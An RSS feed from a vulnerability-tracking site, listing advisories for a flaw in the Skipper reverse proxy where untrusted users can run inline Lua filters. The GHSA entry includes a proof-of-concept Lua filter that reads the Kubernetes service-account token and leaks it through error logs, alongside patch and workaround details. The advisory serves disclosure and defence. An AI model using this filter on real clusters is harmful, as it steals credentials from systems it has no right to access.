<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Tue, 06 Oct 2026 16:10:54 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-265966</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-265966</link>
      <description>EUVD-2026-265966</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-265966</guid>
    </item>
    <item>
      <title>fkie_cve-2026-23742</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-23742</link>
      <description>&lt;p&gt;Skipper is an HTTP router and reverse proxy for service composition. The default skipper configuration before 0.23.0 was -lua-sources=inline,file. The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs, they an read skipper secrets. This vulnerability is fixed in 0.23.0.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Skipper is an HTTP router and reverse proxy for service composition. The default skipper configuration before 0.23.0 was -lua-sources=inline,file. The problem starts if untrusted users can create lua filters, because of -lua-sources=inline , for example through a Kubernetes Ingress resource. The configuration inline allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs, they an read skipper secrets. This vulnerability is fixed in 0.23.0.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-23742</guid>
    </item>
    <item>
      <title>GHSA-cc8m-98fm-rc9g — Skipper is vulnerable to arbitrary code execution through lua filters</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-cc8m-98fm-rc9g</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/zalando/skipper&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Arbitrary code execution through [lua filters](https://opensource.zalando.com/skipper/reference/scripts/).&lt;/p&gt;
&lt;p&gt;The default skipper configuration before v0.23 was `-lua-sources=inline,file`. 
The problem starts if untrusted users can create lua filters, because of `-lua-sources=inline` , for example through a Kubernetes Ingress resource. The configuration `inline` allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.&lt;/p&gt;
&lt;p&gt;Kubernetes example (vulnerability is not limited to Kubernetes)
```lua
function request(ctx, params)
  local file = io.open(&amp;#39;/var/run/secrets/kubernetes.io/serviceaccount/token&amp;#39;, &amp;#39;r&amp;#39;)
  if file then
    local token = file:read(&amp;#39;*all&amp;#39;)
    file:close()
    error(&amp;#39;[EXFIL] &amp;#39; .. token)  -- Exfiltrate via error logs
  end
end
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example `-lua-sources=file` will only be exploitable if the attacker can create a lua script file on the target system.&lt;/p&gt;
&lt;p&gt;### References&lt;/p&gt;
&lt;p&gt;https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/zalando/skipper&lt;/p&gt;
&lt;p&gt;### Impact&lt;/p&gt;
&lt;p&gt;Arbitrary code execution through [lua filters](https://opensource.zalando.com/skipper/reference/scripts/).&lt;/p&gt;
&lt;p&gt;The default skipper configuration before v0.23 was `-lua-sources=inline,file`. 
The problem starts if untrusted users can create lua filters, because of `-lua-sources=inline` , for example through a Kubernetes Ingress resource. The configuration `inline` allows these user to create a script that is able to read the filesystem accessible to the skipper process and if the user has access to read the logs they an read skipper secrets.&lt;/p&gt;
&lt;p&gt;Kubernetes example (vulnerability is not limited to Kubernetes)
```lua
function request(ctx, params)
  local file = io.open(&amp;#39;/var/run/secrets/kubernetes.io/serviceaccount/token&amp;#39;, &amp;#39;r&amp;#39;)
  if file then
    local token = file:read(&amp;#39;*all&amp;#39;)
    file:close()
    error(&amp;#39;[EXFIL] &amp;#39; .. token)  -- Exfiltrate via error logs
  end
end
```&lt;/p&gt;
&lt;p&gt;### Patches&lt;/p&gt;
&lt;p&gt;https://github.com/zalando/skipper/releases/tag/v0.23.0 disables Lua by default.&lt;/p&gt;
&lt;p&gt;### Workarounds&lt;/p&gt;
&lt;p&gt;You can reduce support of how you can pass lua filter script data by providing config for lua sources https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources. For example `-lua-sources=file` will only be exploitable if the attacker can create a lua script file on the target system.&lt;/p&gt;
&lt;p&gt;### References&lt;/p&gt;
&lt;p&gt;https://opensource.zalando.com/skipper/reference/scripts/#enable-and-disable-lua-sources&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-cc8m-98fm-rc9g</guid>
    </item>
  </channel>
</rss>
